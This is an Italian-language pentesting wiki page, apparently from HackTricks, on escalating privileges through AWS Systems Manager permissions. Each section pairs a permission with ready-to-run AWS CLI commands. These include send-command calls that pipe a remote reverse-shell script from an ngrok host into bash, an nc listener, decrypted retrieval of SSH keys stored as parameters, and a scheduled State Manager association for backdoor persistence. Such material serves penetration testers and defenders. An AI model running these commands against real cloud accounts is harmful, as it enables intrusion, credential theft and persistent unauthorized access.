# AWS - SSM Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## SSM

Per maggiori informazioni su SSM consulta:

{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### `ssm:SendCommand`

Un attacker con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono l Amazon SSM Agent e **compromettere il IAM Role** in esecuzione al loro interno.
```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Nel caso tu stia usando questa tecnica per escalate privileges all'interno di un'istanza EC2 già compromessa, puoi semplicemente catturare il rev shell localmente con:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Impatto potenziale:** Privesc diretto agli EC2 IAM roles associati alle istanze in esecuzione con SSM Agents in esecuzione.

### `ssm:StartSession`

Un attacker con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono l'Amazon SSM Agent e **compromettere il IAM Role** in esecuzione al loro interno.
```bash
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> Per avviare una sessione hai bisogno del **SessionManagerPlugin** installato: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)

**Potenziale impatto:** Direct privesc ai ruoli IAM di EC2 associati alle istanze in esecuzione con SSM Agents attivi.

#### Privesc su ECS

Quando **ECS tasks** vengono eseguiti con **`ExecuteCommand` enabled** gli utenti con permessi sufficienti possono usare `ecs execute-command` per **eseguire un comando** all'interno del container.\
Secondo [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) questo avviene creando un canale sicuro tra il dispositivo che usi per avviare il comando “_exec_“ e il container di destinazione con SSM Session Manager. (SSM Session Manager Plugin necessario per farlo funzionare)\
Pertanto, gli utenti con `ssm:StartSession` potranno **get a shell inside ECS tasks** con quell'opzione abilitata semplicemente eseguendo:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)

**Impatto potenziale:** Privesc diretto ai ruoli `ECS`IAM allegati ai task in esecuzione con `ExecuteCommand` abilitato.

### `ssm:ResumeSession`

Un attacker con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH su istanze** che eseguono l'Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il IAM Role** in esecuzione al suo interno.
```bash
# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Impatto potenziale:** Escalation di privilegi diretta agli EC2 IAM roles associati alle istanze in esecuzione con SSM Agents attivi e sessioni disconnesse.

### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)

Un attacker con i permessi menzionati sarà in grado di elencare i **SSM parameters** e **read them in clear-text**. In questi parametri si possono frequentemente **trovare informazioni sensibili** come SSH keys o API keys.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```
**Impatto potenziale:** Individuare informazioni sensibili all'interno dei parametri.

### `ssm:ListCommands`

Un attaccante con questa autorizzazione può elencare tutti i **comandi** inviati e, auspicabilmente, trovare **informazioni sensibili** in essi.
```
aws ssm list-commands
```
**Impatto potenziale:** Trovare informazioni sensibili all'interno delle righe di comando.

### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)

Un attaccante con queste autorizzazioni può elencare tutte le **commands** inviate e **leggere l'output** generato, sperando di trovare **informazioni sensibili** al suo interno.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Impatto potenziale:** Trovare informazioni sensibili nell'output delle linee di comando.

### Uso di ssm:CreateAssociation

Un attacker con il permesso **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associations possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per backdoor-like persistence senza interactive sessions.
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive né permessi espliciti ssm:SendCommand. **Importante:** il parametro `--schedule-expression` (es., `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti imposto da AWS. Per esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'associazione verrà eseguita una volta dopo la creazione.

### Codebuild

Puoi anche usare SSM per ottenere accesso a un progetto codebuild in fase di build:

{{#ref}}
../aws-codebuild-privesc/README.md
{{#endref}}

{{#include ../../../../banners/hacktricks-training.md}}
